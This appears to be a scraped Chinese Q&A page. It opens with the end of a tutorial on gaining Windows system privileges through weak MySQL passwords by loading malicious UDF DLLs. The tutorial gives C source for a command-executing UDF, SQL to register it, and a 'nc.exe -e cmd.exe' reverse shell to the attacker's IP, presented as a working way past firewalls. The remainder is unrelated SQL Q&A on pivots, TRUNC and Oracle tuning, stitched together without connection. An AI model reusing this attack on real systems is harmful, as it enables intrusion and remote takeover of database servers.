所以,使用mix.dll你只有一次成功,没有再来一次的机会!另外根据我的测试,他对Win2003的系统好像不起作用。 再用my_udf.dll: Mysql>. C:my_udf.dll.txt Mysql> CREATE FUNCTION my_udfdoor RETURNS STRING SONAME "C:\winnt\my_udf.dll"; //同样地,my_udfdoor也是我们注册后,用来执行系统命令得函数 Mysql> select my_udfdoor(""); //这儿可以随便写my_udfdoor得参数,相当于我们只是要激活这个函数 好了,现在你可以不用关这个shell了,我们再开一个cmd,使用: D:>nc hostip 3306 * 4.0.*-nt x$Eo~MCG f**k //看到这个后,输入“f**k” ,他是my_udfdoor默认密码,自己无法更改 过一会儿,你就有了系统权限的shell了, 由于他是hook recv版,所以穿墙的能力很强,我是在上一个mix.dll反弹失败的情况下,才使用这个得,他果然不负所望!进系统后,发现它有双网卡,天网防火墙个人版V2.73,对外仅仅开放3306端口,由此可见,my_udf.dll确实有很强的穿透防火墙得能力!但是他也有一个bug,就是再我们连接激活这个函数后(就是使用了命令“select my_udfdoor("");”后),不管你是否连接,只要执行了: Mysql>drop function my_udfdoor; 后,mysql也汇报错,然后挂掉, 所以,你使用这个dll文件无法删除你的痕迹! 最后,然我们自己写一个自定义的dll文件。看能不能解决问题。 我们仅仅使用mysql 得udf的示例作模版即可!看他的示例: #include <stdlib.h> #include <winsock.h> #include <mysql.h> extern "C" { char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error); // 兼容C } char *my_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { char * me = "my name"; return me; // 调用此UDF将返回 my name } 十分简单吧?好,我们只需要稍微改一下就可以有了自己的dll文件了: 下面是我的一个哥们Crackme是修改的: #include <stdlib.h> #include <windows.h> #include "mysql.h" extern "C" __declspec(dllexport)char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error);// sys_name就是函数名,你可以任意修改 __declspec(dllexport) char *sys_name(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) //当然这儿的sys_name也得改! { char me[256] = {0}; if (args->arg_count == 1){ strncpy(me,args->args[0],args->lengths[0]); me[args->lengths[0]]=""; WinExec(me,SW_HIDE); //就是用它来执行任意命令 }else strcpy(me,"do nonthing. "); return me; } 好,我们编译成sysudf.dll文件就可以了!我们来用他实验一把! 看操作: Mysql>. C:sysudf.dll.txt Mysql>Create function sys_name returns string soname "C:\windows\sysudf.dll"; Mysql>. Nc.exe.txt //把nc.exe也上传上去 Mysql>select sys_name("nc.exe -e cmd.exe 我的ip 8080"); //sys_name参数只有一个,参数指定要执行的系统命令 好,看看在Win2003中的一个反弹shell了, 当然,我们你也可以不反弹shell了,而去执行其他命令,只不过不论是否执行成功,都没有回显,所以要保证命令格式正确。对于这个dll文件,经过测试,不论何时“drop function sys_name;”,都是不会报错的,同时也可以多次运行不同命令。至于他的缺点,就是他的穿墙能力跟Mix.dll一样不算太强,但对于实在穿不透的墙,直接运行其他命令就是最好的选择了。 上面三个dll文件可谓各有所短,如何选择,就看你遇到的实际情况了。 好了,从脚本得编写使用到dll文件编写使用,说了这么多,现在大家应该都会了吧?题目说的是弱口令得到系统权限,但是如果你在注入等其他过程中,爆出了config.php中的mysql密码,不也是可以使用的吗?这样我们岂不是也找到继Serv-u后又一大提权方法了吗?

mysql 中支不支持pivot

支持,代码如下:"pivot table" or a "crosstab report"(Note: this page needs to be wikified)SQL Characteristic Functions: Do it without "if", "case", or "GROUP_CONCAT".Yes, there is use for this..."if" statements sometimes cause problemswhen used in combination.The simple secret, and it"s also why they work in almost all databases, is thefollowing functions:o sign (x) returns -1,0, +1 for values x < 0, x = 0, x > 0 respectivelyo abs( sign( x) ) returns 0 if x = 0 else, 1 if x > 0 or x < 0o 1-abs( sign( x) ) complement of the above, since this returns 1 only if x = 0Quick example: sign(-1) = -1, abs( sign(-1) ) = 1, 1-abs( sign(-1) ) = 0Data for full example:CREATE TABLE exams (pkey int(11) NOT NULL auto_increment,name varchar(15),exam int,score int,PRIMARY KEY (pkey));insert into exams (name,exam,score) values ("Bob",1,75);insert into exams (name,exam,score) values ("Bob",2,77);insert into exams (name,exam,score) values ("Bob",3,78);insert into exams (name,exam,score) values ("Bob",4,80);insert into exams (name,exam,score) values ("Sue",1,90);insert into exams (name,exam,score) values ("Sue",2,97);insert into exams (name,exam,score) values ("Sue",3,98);insert into exams (name,exam,score) values ("Sue",4,99);mysql> select * from exams;

SqlServer2005使用pivot时遇到Null的问题

select nvrStuName,sum([1]) as "计算机基础",sum([2]) as "大学语文",sum([3]) as "高等数学",sum([4]) as "英语"from ScoreInfoViewpivot(sum(Score)for intCourseID in ([1],[2],[3],[4]))as pvtgroup by nvrStuName

SQLServer2005中PIVOT的和值计算!

select id,name,a.一季度,b.二季度,c.三季度,d.四季度,e.汇总 from (select id,name,sum(profile) 一季度 where quarter=1 group by id,name) a,(select id,name,sum(profile) 二季度 where quarter=2 group by id,name) b,(select id,name,sum(profile) 三季度 where quarter=3 group by id,name) c,(select id,name,sum(profile) 四季度 where quarter=4 group by id,name) d,(select id,name,sum(profile) 汇总 group by id,name) e,where e.id=a.id and e.name=a.nameand e.id=b.id and e.name=b.nameand e.id=c.id and e.name=c.nameand e.id=d.id and e.name=d.name

请教SQL server 中pivot的详细用法及语法规则

PIVOT用于将列值旋转为列名(即行转列),在SQL Server 2000可以用聚合函数配合CASE语句实现PIVOT的一般语法是:PIVOT(聚合函数(列) FOR 列 in (…) )AS P完整语法:table_sourcePIVOT(聚合函数(value_column)FOR pivot_columnIN(<column_list>))UNPIVOT用于将列明转为列值(即列转行),在SQL Server 2000可以用UNION来实现完整语法:table_sourceUNPIVOT(value_columnFOR pivot_columnIN(<column_list>))注意:PIVOT、UNPIVOT是SQL Server 2005 的语法,使用需修改数据库兼容级别 在数据库属性->选项->兼容级别改为 90具体实例地址我私信发给你

mysql中怎么做pivot

"pivot table" or a "crosstab report"(Note: this page needs to be wikified)SQL Characteristic Functions: Do it without "if", "case", or "GROUP_CONCAT".Yes, there is use for this..."if" statements sometimes cause problemswhen used in combination.The simple secret, and it"s also why they work in almost all databases, is thefollowing functions:o sign (x) returns -1,0, +1 for values x < 0, x = 0, x > 0 respectivelyo abs( sign( x) ) returns 0 if x = 0 else, 1 if x > 0 or x < 0o 1-abs( sign( x) ) complement of the above, since this returns 1 only if x = 0Quick example: sign(-1) = -1, abs( sign(-1) ) = 1, 1-abs( sign(-1) ) = 0Data for full example:CREATE TABLE exams (pkey int(11) NOT NULL auto_increment,name varchar(15),exam int,score int,PRIMARY KEY (pkey));insert into exams (name,exam,score) values ("Bob",1,75);insert into exams (name,exam,score) values ("Bob",2,77);insert into exams (name,exam,score) values ("Bob",3,78);insert into exams (name,exam,score) values ("Bob",4,80);insert into exams (name,exam,score) values ("Sue",1,90);insert into exams (name,exam,score) values ("Sue",2,97);insert into exams (name,exam,score) values ("Sue",3,98);insert into exams (name,exam,score) values ("Sue",4,99);mysql> select * from exams;+------+------+------+-------+| pkey | name | exam | score |+------+------+------+-------+| 1 | Bob | 1 | 75 || 2 | Bob | 2 | 77 || 3 | Bob | 3 | 78 || 4 | Bob | 4 | 80 || 5 | Sue | 1 | 90 || 6 | Sue | 2 | 97 || 7 | Sue | 3 | 98 || 8 | Sue | 4 | 99 |+------+------+------+-------+8 rows in set (0.00 sec)mysql> select name,sum(score*(1-abs(sign(exam-1)))) as exam1,sum(score*(1-abs(sign(exam-2)))) as exam2,sum(score*(1-abs(sign(exam-3)))) as exam3,sum(score*(1-abs(sign(exam-4)))) as exam4from exams group by name;+------+-------+-------+-------+-------+| name | exam1 | exam2 | exam3 | exam4 |+------+-------+-------+-------+-------+| Bob | 75 | 77 | 78 | 80 || Sue | 90 | 97 | 98 | 99 |+------+-------+-------+-------+-------+2 rows in set (0.00 sec)Note, the above pivot table was created with one select statement.Let"s decompose to make the trick clearer, for the second exam:mysql> select name, score, exam, exam-2, sign(exam-2), abs(sign(exam-2)), 1-abs(sign(exam-2)),score*(1-abs(sign(exam-2))) as exam2 from exams;+------+-------+------+--------+--------------+-------------------+---------------------+-------+| name | score | exam | exam-2 | sign(exam-2) | abs(sign(exam-2)) | 1-abs(sign(exam-2)) | exam2 |+------+-------+------+--------+--------------+-------------------+---------------------+-------+| Bob | 75 | 1 | -1 | -1 | 1 | 0 | 0 || Bob | 77 | 2 | 0 | 0 | 0 | 1 | 77 || Bob | 78 | 3 | 1 | 1 | 1 | 0 | 0 || Bob | 80 | 4 | 2 | 1 | 1 | 0 | 0 || Sue | 90 | 1 | -1 | -1 | 1 | 0 | 0 || Sue | 97 | 2 | 0 | 0 | 0 | 1 | 97 || Sue | 98 | 3 | 1 | 1 | 1 | 0 | 0 || Sue | 99 | 4 | 2 | 1 | 1 | 0 | 0 |+------+-------+------+--------+--------------+-------------------+---------------------+-------+8 rows in set (0.00 sec)You may think IF"s would be clean but WATCH OUT!Look what the following gives (INCORRECT !!):

mysql-MySQL数据导入到同数据库的另一张不存在的表,请教我写的有什么问题,创建表的时候ID报错

mysql数据库 CREATE TABLE IF NOT EXISTS PJM_PROJECT_GROUP( "PJM_PROJECT_GROUP_ID" VARCHAR(32) , "CATEGORY_ID" VARCHAR(32) , "RZ_ORG_ID" VARCHAR(32) , "DB_ORG_ID" VARCHAR(32) , "ORG_AGENT_ID" VARCHAR(32), "TITLE" VARCHAR(128) , "CODE" VARCHAR(15) , "MONEY" DECIMAL(16,2) , "CONTRACT_URL" VARCHAR(128) , "INVEST_LOWEST" DECIMAL(16,2) , "INVEST_ADD" DECIMAL(16,2) , "MIN_INCOME" DECIMAL(16,2) , "MAX_INCOME" DECIMAL(16,2) , "TYPE" CHAR(4) , "REPAY_TYPE" CHAR(4) , "SITE_FEE" DECIMAL(16,2) , "STATUS" CHAR(10) , "CREATE_STAFF_ID" VARCHAR(32) , "CREATE_TIME" DATETIME , "UPDATE_STAFF_ID" VARCHAR(32) , "UPDATE_TIME" DATETIME , "CHECK_STAFF_ID" VARCHAR(32) , "CHECK_STAFF_ID" DATETIME ,)CREATE PROCEDURE dataShift()BEGIN INSERT INTO PJM_PROJECT_GROUP("PJM_PROJECT_GROUP_ID","CATEGORY_ID","RZ_ORG_ID","DB_ORG_ID","ORG_AGENT_ID","TITLE","CODE","MIN_INCOME","MAX_INCOME","TYPE","REPAY_TYPE","SITE_FEE") SELECT PROJECT_ID,CATEGORY_ID,RZ_ORG_ID,DB_ORG_ID,ORG_AGENT_ID,TITLE,CODE,YEAR_INCOME,YEAR_INCOME,LOAN_TYPE,REPAY_TYPE,SITE_FEE FROM PJM_PROJECTENDCALL dataShift()错误信息:[Err] 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ""PJM_PROJECT_GROUP_ID" VARCHAR(32) , "CATEGORY_ID" VARCHAR(32) , "RZ_ORG_ID"" at line 3

下载mysql可视化工具是出现了keygen.exe是病毒吗

一般来说,keygen.exe文件很可能是病毒或恶意软件,因为它们通常用于非法破解软件,或者在安装软件时强制安装其他恶意软件。建议不要下载和运行这样的文件。相反,建议从官方网站下载并安装MySQL可视化工具,以确保软件的安全性和完整性。

mysql 配置文件中 loose是什么意思啊了

# 开启master semi sync replicationloose_rpl_semi_sync_master_enabled = 1# 开启slave semi syncreplicationloose_rpl_semi_sync_slave_enabled = 1# 等待5秒无ack应答自动切换为异步模式loose_rpl_semi_sync_master_timeout = 5000

oracle数据库运行sql很卡很慢很顿,看等待事件都是cursor:pin s on x,这是啥

详解cursor: pin S wait on X等待事件 ‘cursor: pin * events"等待事件 该类等待事件一般是为了pin相关的子游标 ‘Cursor: pin S on X" 最常见的等待事件, 进程为了共享操作例如执行pin游标而以SHRD S mode申请mutex, 但是未立即获得。原因是该游标被其他进程以EXCL X mode 持有了。 实际该 cursor: pin S wait on X等待事件往往是由于其他因素诱发的。Mutex争用仅仅是问题的症状,但根本原因需要Database Consultant 进一步挖掘。 下面我们列出一些已知的常见案例, 在这些例子中可以看到 我上面提到的 Mutex的争用仅仅是伪争用: 过多的子游标 High Version Counts 过多的子游标版本Version Count可能导致Mutex 争用,一般一个SQL的Version Count不要高于500。 检查High Version Count很简单, 在AWR里就有SQL ordered by High Version Count,也可以写SQL查V$SQL、V$SQLAREA 昂贵的X$、V$视图查询 一些对于V$、X$视图的查询,需要访问X$KGL*之类的fixed table,可能触发Mutex争用。 Mutex持有者得不到CPU Mutex持有者若得不到足够的CPU片可能一直阻塞他人,直到它拿到需要的CPU。 这种情况可能由于OS操作系统的实际情况或者使用Resource Manager而引起。需要配合AWR中的Host CPU、Instance CPu一起看。 已经被KILLED的SESSION仍持有Mutex 当session正持有Mutex,而其对应的Process被强制KILL掉, 则直到PMON彻底清理掉该Dead Process并释放Mutex,其他session才能不再等待。 诊断该类问题,最好能检查PMON的TRACE。 当然也存在部分BUG会导致PMON清理过程非常慢。 举例来说,bug 9312879描述了一种场景:PMON 需要获得某个Mutex以便清理某个dead process,但是该Mutex又被其他进程持有,则PMON甚至无法开始真正清理并释放Mutex。 如果自己搞不定可以找ASKMACLEAN专业ORACLE优化团队成员帮您搞定!

SQL语句优化,怎样将语句ctr559tupxnjq的cost一步步由543调整到86

select * 2 from (select distinct a.rootcodeid SP_CODE, 3 a.parentcodeid DRAWNO, 4 a.codeid TESTCODE, 5 a.parentcode PROFILE, 6 b.desc2 SP_TESTNO, 7 b.desc3 SP_TESTNO_ENG, 8 b.remark COMMENTS, 9 b.version VERSION,10 b.freezeflag STATUS,11 a.relationid12 from mdm_hczxbz_combrelationlog a,13 mdm_hccsgl_code B,14 mdm_hczxbz_modifyrecordlog f15 where a.combsyscode = ‘HCCSGL‘16 AND A.PARENTCOMBSYSCODE = ‘HCCSFA‘17 and a.codeid = b.codeid18 and a.filterid is null19 AND a.relationid = f.relationid20 AND f.LIMSA = 121 AND f.modifytype = 422 and exists (select 123 from mdm_hczxbz_synflag x24 where x.codeid = a.rootcodeid25 and x.synflag = ‘0‘26 and x.errornum = ‘0‘27 and synseq = ‘334248‘)28 and exists (select 129 from mdm_relationsynflag k30 where k.code1 = a.rootcodeid31 and k.code2 = a.parentcodeid32 and k.code3 = a.parentcode33 and k.errornum = ‘0‘34 and k.relationtablename = ‘SP_DRAWS_LIMSA‘)35 and exists (select 136 from mdm_hccsgl_synflag x37 where x.codeid = a.codeid38 and x.synflag = ‘0‘39 and x.errornum = ‘0‘40 and x.synseq = ‘334227‘)41 and exists42 (select 143 from mdm_relationsynflag k44 where k.code1 = a.rootcodeid45 and k.code2 = a.parentcodeid46 and k.code3 = a.codeid47 and k.code4 = a.parentcode48 and k.errornum = ‘0‘49 and k.relationtablename = ‘SP_TESTS_LIMSA‘))50 where rownum < 20执行计划信息如下: 1 Plan Hash Value : 2018468880 2 3 ------------------------------------------------------------------------------------------------------------------------ 4 | Id | Operation | Name | Rows | Bytes | Cost | Time | 5 ------------------------------------------------------------------------------------------------------------------------ 6 | 0 | SELECT STATEMENT | | 1 | 6096 | 543 | 00:00:07 | 7 | * 1 | COUNT STOPKEY | | | | | | 8 | 2 | VIEW | | 1 | 6096 | 543 | 00:00:07 | 9 | * 3 | SORT GROUP BY STOPKEY | | 1 | 463 | 543 | 00:00:07 |10 | 4 | NESTED LOOPS SEMI | | 1 | 463 | 542 | 00:00:07 |11 | 5 | NESTED LOOPS SEMI | | 1 | 405 | 404 | 00:00:05 |12 | 6 | NESTED LOOPS SEMI | | 1 | 389 | 403 | 00:00:05 |13 | 7 | NESTED LOOPS | | 1 | 374 | 402 | 00:00:05 |14 | 8 | NESTED LOOPS | | 1 | 113 | 401 | 00:00:05 |15 | 9 | NESTED LOOPS | | 1 | 102 | 333 | 00:00:04 |16 | 10 | SORT UNIQUE | | 187 | 9537 | 16 | 00:00:01 |17 | * 11 | TABLE ACCESS BY INDEX ROWID | MDM_RELATIONSYNFLAG | 187 | 9537 | 16 | 00:00:01 |18 | * 12 | INDEX RANGE SCAN | INDEX_RELATIONSYNFLAG_REL | 195 | | 3 | 00:00:01 |19 | * 13 | TABLE ACCESS BY INDEX ROWID | MDM_HCZXBZ_COMBRELATIONLOG | 1 | 51 | 333 | 00:00:04 |20 | 14 | BITMAP CONVERSION TO ROWIDS | | | | | |21 | 15 | BITMAP AND | | | | | |22 | 16 | BITMAP CONVERSION FROM ROWIDS | | | | | |23 | * 17 | INDEX RANGE SCAN | INDEX_HCZXBZ_COMBRELATIONLOG_D | 35 | | 1 | 00:00:01 |24 | 18 | BITMAP CONVERSION FROM ROWIDS | | | | | |25 | * 19 | INDEX RANGE SCAN | INDEX_HCZXBZ_COMBRELATIONLOG_F | 35 | | 2 | 00:00:01 |26 | * 20 | TABLE ACCESS BY INDEX ROWID | MDM_HCZXBZ_MODIFYRECORDLOG | 1 | 11 | 68 | 00:00:01 |27 | * 21 | INDEX RANGE SCAN | MDM_HCZXBZ_MODIFYRECORDLOG_A | 3709 | | 10 | 00:00:01 |28 | 22 | TABLE ACCESS BY INDEX ROWID | MDM_HCCSGL_CODE | 1 | 261 | 1 | 00:00:01 |29 | * 23 | INDEX UNIQUE SCAN | PK_HCCSGL_CODE | 1 | | 0 | 00:00:01 |30 | * 24 | INDEX RANGE SCAN | UK_MDM_HCZXBZ_SYNSEQ_SYNSEQ | 135 | 2025 | 1 | 00:00:01 |31 | * 25 | INDEX RANGE SCAN | UK_MDM_HCCSGL_SYNSEQ_SYNSEQ | 3380 | 54080 | 1 | 00:00:01 |32 | * 26 | TABLE ACCESS BY INDEX ROWID | MDM_RELATIONSYNFLAG | 185 | 10730 | 138 | 00:00:02 |33 | * 27 | INDEX RANGE SCAN | INDEX_RELATIONSYNFLAG_REL | 2044 | | 11 | 00:00:01 |34 ------------------------------------------------------------------------------------------------------------------------35 36 Predicate Information (identified by operation id):37 ------------------------------------------38 * 1 - filter(ROWNUM<20)39 * 3 - filter(ROWNUM<20)40 * 11 - filter("K"."ERRORNUM"=0)41 * 12 - access("K"."RELATIONTABLENAME"=‘SP_DRAWS_LIMSA‘)42 * 13 - filter("A"."FILTERID" IS NULL AND "A"."COMBSYSCODE"=‘HCCSGL‘ AND "A"."PARENTCOMBSYSCODE"=‘HCCSFA‘ AND "A"."ROOTCODEID"=TO_NUMBER("K"."CODE1"))43 * 17 - access("A"."PARENTCODEID"=TO_NUMBER("K"."CODE2"))44 * 19 - access("K"."CODE3"="A"."PARENTCODE")45 * 20 - filter(TO_NUMBER("F"."MODIFYTYPE")=4 AND "A"."RELATIONID"="F"."RELATIONID")46 * 21 - access("F"."LIMSA"=1)47 * 23 - access("A"."CODEID"="B"."CODEID")48 * 24 - access("SYNSEQ"=334248 AND "X"."CODEID"="A"."ROOTCODEID" AND "X"."SYNFLAG"=‘0‘ AND "X"."ERRORNUM"=0)49 * 25 - access("X"."SYNSEQ"=334227 AND "X"."CODEID"="A"."CODEID" AND "X"."SYNFLAG"=‘0‘ AND "X"."ERRORNUM"=0)50 * 26 - filter("K"."CODE4" IS NOT NULL AND "K"."ERRORNUM"=0 AND "A"."ROOTCODEID"=TO_NUMBER("K"."CODE1") AND "A"."PARENTCODEID"=TO_NUMBER("K"."CODE2") AND "A"."CODEID"=TO_NUMBER("K"."CODE3") AND51 "K"."CODE4"="A"."PARENTCODE")52 * 27 - access("K"."RELATIONTABLENAME"=‘SP_TESTS_LIMSA‘)由于查询字段中并没有对表mdm_hczxbz_modifyrecordlog f表字段的查询,可以使用局部范围扫描mdm_hczxbz_modifyrecordlog f表,同时修正上面的类型转换,修改后语句如下: 1 select * 2 from (select distinct a.rootcodeid SP_CODE, 3 a.parentcodeid DRAWNO, 4 a.codeid TESTCODE, 5 a.parentcode PROFILE, 6 b.desc2 SP_TESTNO, 7 b.desc3 SP_TESTNO_ENG, 8 b.remark COMMENTS, 9 b.version VERSION,10 b.freezeflag STATUS,11 a.relationid12 from mdm_hczxbz_combrelationlog a, mdm_hccsgl_code B13 where a.combsyscode = ‘HCCSGL‘14 AND A.PARENTCOMBSYSCODE = ‘HCCSFA‘15 and a.codeid = b.codeid16 and a.filterid is null17 and exists (select 118 from mdm_hczxbz_synflag x19 where x.codeid = a.rootcodeid20 and x.synflag = ‘0‘21 and x.errornum = 022 and synseq = 334248)23 and exists (select 124 from mdm_relationsynflag k25 where k.code1 = a.rootcodeid26 and k.code2 = a.parentcodeid27 and k.code3 = a.parentcode28 and k.errornum = 029 and k.relationtablename = ‘SP_DRAWS_LIMSA‘)30 and exists (select 131 from mdm_hccsgl_synflag x32 where x.codeid = a.codeid33 and x.synflag = ‘0‘34 and x.errornum = 035 and x.synseq = 334227)36 and exists (select 137 from mdm_relationsynflag k38 where k.code1 = a.rootcodeid39 and k.code2 = a.parentcodeid40 and k.code3 = a.codeid41 and k.code4 = a.parentcode42 and k.errornum = 043 and k.relationtablename = ‘SP_TESTS_LIMSA‘)44 and exists (select null45 from mdm_hczxbz_modifyrecordlog f46 where a.relationid = f.relationid47 AND f.LIMSA = 148 AND f.modifytype = 4))49 where rownum < 20如上,对mdm_hczxbz_modifyrecordlog的查询,改为exists实现了局部范围扫描。这时候的查询计划,cost为437。Plan Hash Value : 3906393145 ----------------------------------------------------------------------------------------------------------------------| Id | Operation | Name | Rows | Bytes | Cost | Time |----------------------------------------------------------------------------------------------------------------------| 0 | SELECT STATEMENT | | 1 | 6096 | 437 | 00:00:06 || * 1 | COUNT STOPKEY | | | | | || 2 | VIEW | | 1 | 6096 | 437 | 00:00:06 || * 3 | SORT GROUP BY STOPKEY | | 1 | 463 | 437 | 00:00:06 || 4 | NESTED LOOPS SEMI | | 1 | 463 | 436 | 00:00:06 || 5 | NESTED LOOPS SEMI | | 1 | 405 | 298 | 00:00:04 || * 6 | HASH JOIN SEMI | | 1 | 389 | 297 | 00:00:04 || 7 | NESTED LOOPS | | 40 | 13520 | 281 | 00:00:04 || 8 | NESTED LOOPS | | 67 | 13520 | 281 | 00:00:04 || * 9 | HASH JOIN SEMI | | 67 | 5159 | 242 | 00:00:03 || 10 | NESTED LOOPS | | 91 | 5642 | 237 | 00:00:03 || 11 | NESTED LOOPS | | 126 | 5642 | 237 | 00:00:03 || 12 | SORT UNIQUE | | 84 | 924 | 68 | 00:00:01 || * 13 | TABLE ACCESS BY INDEX ROWID | MDM_HCZXBZ_MODIFYRECORDLOG | 84 | 924 | 68 | 00:00:01 || * 14 | INDEX RANGE SCAN | MDM_HCZXBZ_MODIFYRECORDLOG_A | 3709 | | 10 | 00:00:01 || * 15 | INDEX RANGE SCAN | INDEX_HCZXBZ_COMBRELATIONLOG_B | 3 | | 1 | 00:00:01 || * 16 | TABLE ACCESS BY INDEX ROWID | MDM_HCZXBZ_COMBRELATIONLOG | 1 | 51 | 4 | 00:00:01 || * 17 | INDEX RANGE SCAN | UK_MDM_HCZXBZ_SYNSEQ_SYNSEQ | 135 | 2025 | 5 | 00:00:01 || * 18 | INDEX UNIQUE SCAN | PK_HCCSGL_CODE | 1 | | 0 | 00:00:01 || 19 | TABLE ACCESS BY INDEX ROWID | MDM_HCCSGL_CODE | 1 | 261 | 1 | 00:00:01 || * 20 | TABLE ACCESS BY INDEX ROWID | MDM_RELATIONSYNFLAG | 187 | 9537 | 16 | 00:00:01 || * 21 | INDEX RANGE SCAN | INDEX_RELATIONSYNFLAG_REL | 195 | | 3 | 00:00:01 || * 22 | INDEX RANGE SCAN | UK_MDM_HCCSGL_SYNSEQ_SYNSEQ | 3380 | 54080 | 1 | 00:00:01 || * 23 | TABLE ACCESS BY INDEX ROWID | MDM_RELATIONSYNFLAG | 173 | 10034 | 138 | 00:00:02 || * 24 | INDEX RANGE SCAN | INDEX_RELATIONSYNFLAG_REL | 2044 | | 11 | 00:00:01 |----------------------------------------------------------------------------------------------------------------------Predicate Information (identified by operation id):------------------------------------------* 1 - filter(ROWNUM<20)* 3 - filter(ROWNUM<20)* 6 - access("A"."ROOTCODEID"=TO_NUMBER("K"."CODE1") AND "A"."PARENTCODEID"=TO_NUMBER("K"."CODE2") AND "K"."CODE3"="A"."PARENTCODE")* 9 - access("X"."CODEID"="A"."ROOTCODEID")* 13 - filter(TO_NUMBER("F"."MODIFYTYPE")=4)* 14 - access("F"."LIMSA"=1)* 15 - access("A"."RELATIONID"="F"."RELATIONID")* 16 - filter("A"."FILTERID" IS NULL AND "A"."COMBSYSCODE"=‘HCCSGL‘ AND "A"."PARENTCOMBSYSCODE"=‘HCCSFA‘)

SQL中的小数点后的输入位数.

6位

mysql有oracle的trunc吗

TRUNC 语法: TRUNC(x[,y]) 功能: 计算截尾到y位小数的x值. y缺省为0,结果变为一个整数值.如果y是一个负数,那么就截尾到小数点左边对应的位上. trunc(sysdate)=to_date("20121231","yyyymmdd")

sql查询语句中to_char和trunc在限制时间是的区别

to_char 是把时间按指定格式转换成字符串,如:to_char(date,"yyyy-mm-dd")trunc 是对时间进行截取,可以跟自定的截取项 如trunc(to_date("2009-02-21"),month) 对月进行截取得到的日期是2009-02-01

mysql 有trunc函数吗

mysql中没有trunc这个函数。可以使用 SELECT date_format(NOW(),"%Y-%m-%d");SELECT cast(100.65678 as DECIMAL(20,2));

SQLSERVER有类似ORACLE里的TRUNC函数的吗

-字符串聚合,适用于SQL Server 2005及以上--测试数据with tmp(column1,column2) as (select "A","aa" union allselect "A","bb" union allselect "A","cc" union allselect "B","dd" union allselect "B","ee")--用for xml path实现字符串聚合

SQL 中TRUNC 用法

http://baike.baidu.com/view/1291518.html?wtp=tt

mysql serial是什么意思

本表的列必须与外键类型相同!!! 引自mySQL手册:SERIAL is an alias for BIGINT UNSIGNED NOT NULL AUTO_INCREMENT UNIQUE; SERIAL 和 BIGINT 并不完全相同的。 你把“ID SERIAL PRIMARY KEY”改为“ID BIGINT PRIMARY KEY” 或者把"A_ID BIGINT"改为"A_ID SERIAL "就可以创建外键了。

sql server 2008 r2后面带的sp1 sp2 rtm是什么意思

SQL Server 2008 R2的补丁分SP1 , SP2 , SP3 ,您首先应该知道您现在的SQL Server 2008 R2的版本,才可以知道安装的是哪个补丁。 查询版本的步骤,首先进入SSMS,点击新建查询,输入print @@version,按键盘的F5键,就会出来版本的信息。 SQL 2008 R2 RTM 10.50.1600.1 SQL 2008 R2 SP1 10.50.2500.0 SQL 2008 R2 SP2 10.50.4000.0 SQL 2008 R2 SP3 10.50.6000.0 您可以根据对应的版本号安装对应的补丁。

mysql查询表的列名,顺序不对?

我也刚遇到这个问题。重建索引的时候重启了(时间太长,以为故障了),然后列名顺序就神经病的和创建的时候不一样了。后来就重装了mysql,重建了数据表,发现还是一个样子。后来发现乱了的列表名是按ascii的顺序排列的,才想起来这次建数据库的时候选了个数据库排序规则,上一次选没选就没印象了。以前是从information_schmema里查询的(估计就是排序规则影响了这个顺序,所以输出的列表不对)。后来发现在命令行界面用DSC table_name的时候显示的列名顺序是正确的,然后就自建了个函数,把这个命令的执行结果取出来加工了下,生成了一个列名list。注:返回的列名是在Field里,不区分大小写的忽略。

SQL如何将值插入对应实体号EntityID的最后一行,表如下

用group by和max()+1,然后再insert

mysql 怎么查询出表里不能为空的字段

利用系统表information_schema.columns来查吧:select table_schema,table_name,column_name from information_schema.columns where table_name="t111" and is_nullable="NO"

PL/SQL中,declare定义变量和variable定义变量的区别

用declare声明的变量作用在block中。variable是sqlplus中定义变量的命令。他定义的变量在一个sqlplus连接中有效。SQL> show userUSER 为"YANGTK"SQL> varSP2-0568: 未说明结合变量。SQL> var test numberSQL> var变量 test数据类型 NUMBERSQL> conn / as sysdba已连接。SQL> show userUSER 为"SYS"SQL> var变量 test数据类型 NUMBERSQL>--------------------------------------------------------------variable相当于一个sql*plus环境的全局变量,declare里定义的是pl/sql中的局部变量。

mysql 查看数据库中的表

MySQL使用下面这个语句,来查询指定表,有什么字段信息。mysql>SELECTCOLUMN_NAME,DATA_TYPE,IS_NULLABLE,COLUMN_DEFAULT->FROM->INFORMATION_SCHEMA.COLUMNS->WHERE->table_name="test_main"->ANDtable_schema="test"->//+-------------+-----------+-------------+----------------+|COLUMN_NAME|DATA_TYPE|IS_NULLABLE|COLUMN_DEFAULT|+-------------+-----------+-------------+----------------+|id|int|NO|0||value|varchar|YES|NULL|+-------------+-----------+-------------+----------------+2rowsinset(0.00sec)如果楼主是知道字段,想知道表。那么就修改一下SQLSELECTtable_nameFROMINFORMATION_SCHEMA.COLUMNSWHEREtable_schema="你那个数据库的名字也就是use什么的"ANDCOLUMN_NAME="user"上面这个SQL应该是把所有的有user这个字段的表名称,都列出来了。如果表的数量不多的话,就去查询一下,具体是哪个表吧。

探讨SQL利用INFORMATION_SCHEMA系统视图如何获取表的主外键信息_MySQL

